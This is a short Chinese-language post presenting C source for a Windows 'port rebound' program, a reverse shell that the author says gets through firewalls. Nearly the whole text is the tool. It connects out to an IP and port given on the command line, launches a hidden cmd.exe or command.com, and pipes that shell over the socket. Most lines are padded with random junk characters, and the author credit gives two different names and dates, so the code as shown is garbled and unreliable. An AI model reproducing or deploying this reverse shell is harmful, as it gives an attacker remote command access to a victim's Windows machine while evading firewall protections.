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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k w   
CS-jDok  
/* ============================== v Lq%k+D#  
Rebound port in Windows NT _T8S4s8q  
By wind,2006/7 Wy-y-wi:p  
===============================*/ ;<b7kepR  
#include )4:]gx#cr  
#include <1* \ ~CX  
R4k+.hR  
#pragma comment(lib,"wsock32.lib") vMJ(Ll7/  
oaILh  
void OutputShell(); 5U]@ Y?  
SOCKET sClient; jk\V2x@DR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y"s8j=1m  
WT1y7+_g(d  
void main(int argc,char **argv) T 7qHw!)  
{ asmu<  
WSADATA stWsaData; anfnqa8  
int nRet; {7%HK2='  
SOCKADDR_IN stSaiClient,stSaiServer; >@4AxV\  
3kF+wifsz  
if(argc != 3) Cp>y<C"  
{ CW/L(RQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); }ALli0n`V)  
return; El :% \hGy  
} +$2`"%nBG  
TGPZUyi3!=  
WSAStartup(MAKEWORD(2,2),&stWsaData); mV4gw'.;7  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X*5N&AJ  
Pv\8 \,B9  
stSaiClient.sin_family = AF_INET; \l 8_aj  
stSaiClient.sin_port = htons(0); u3wd~.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bH'2iG  
V U5</si+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SK 5]7C2  
{ v?Cakwu  
printf("Bind Socket Failed!\n"); +StsSZ  
return; +|5 O b  
} HPt\ BK  
WQD:~*C:  
stSaiServer.sin_family = AF_INET; 6uUn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z*h}E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fM*?i"j;Y  
G8/q&6f_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,\#s_N 7  
{ cN&:V2,  
printf("Connect Error!"); U^U hZ!  
return; BB(v,W  
} DVKb`KJ"  
OutputShell(); r=A A /n<  
} v*<rNZI  
koD}o^U#  
void OutputShell() u!F\`Gfm_  
{ r_ B.b K  
char szBuff[1024]; C=cn .CX  
SECURITY_ATTRIBUTES stSecurityAttributes; VhAJ1[k4!  
OSVERSIONINFO stOsversionInfo; pQC|_T#u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K~S*<?  
STARTUPINFO stStartupInfo; nXI8`7D  
char *szShell; H~>8q~o]  
PROCESS_INFORMATION stProcessInformation; PCV#O63[  
unsigned long lBytesRead; Q&^\YgkCf  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y c 8 h}`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eQn[  
stSecurityAttributes.lpSecurityDescriptor = 0; }Ya! [tX  
stSecurityAttributes.bInheritHandle = TRUE; 0) F\aJ4Y  
imAOYEH7}  
&}pF6eIar  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Km,o+9?1gF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Wv;,@xTZ  
suGd&eP|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qK9A /Mc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f\.y z[  
stStartupInfo.wShowWindow = SW_HIDE; Ry xu#]s  
stStartupInfo.hStdInput = hReadPipe; I|<]>D-8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &rPAW V'v  
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GetVersionEx(&stOsversionInfo); P4eH:0=#  
Q7<VuXy  
switch(stOsversionInfo.dwPlatformId) |>m'szca4  
{ :eJJL,v  
case 1: [/VpvQ'  
szShell = "command.com"; eO*s,*  
break; ;$gV$KB:xA  
default: |_-w{2K  
szShell = "cmd.exe"; )& Oxp&x  
break; Fa v++z  
} IA[:-2_  
c=9A d  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &1&OXm$  
^yq}>_  
send(sClient,szMsg,77,0); U?5lqq  
while(1) bX(/2_l  
{ zH9*w:"4<_  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [C<K~  
if(lBytesRead) M*Ej*#  
{ l(}L-:@A  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $8AW  
send(sClient,szBuff,lBytesRead,0); $|3zsi2  
} @pYC!;n+  
else la!U  
{ ,9_O4O%  
lBytesRead=recv(sClient,szBuff,1024,0); wAX;)PLg  
if(lBytesRead<=0) break; dGkw%3[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k.o8!aCm  
} )Ho"b  
} KRcB_(  
',t*:GBZCf  
return; ZZTf/s*  
}
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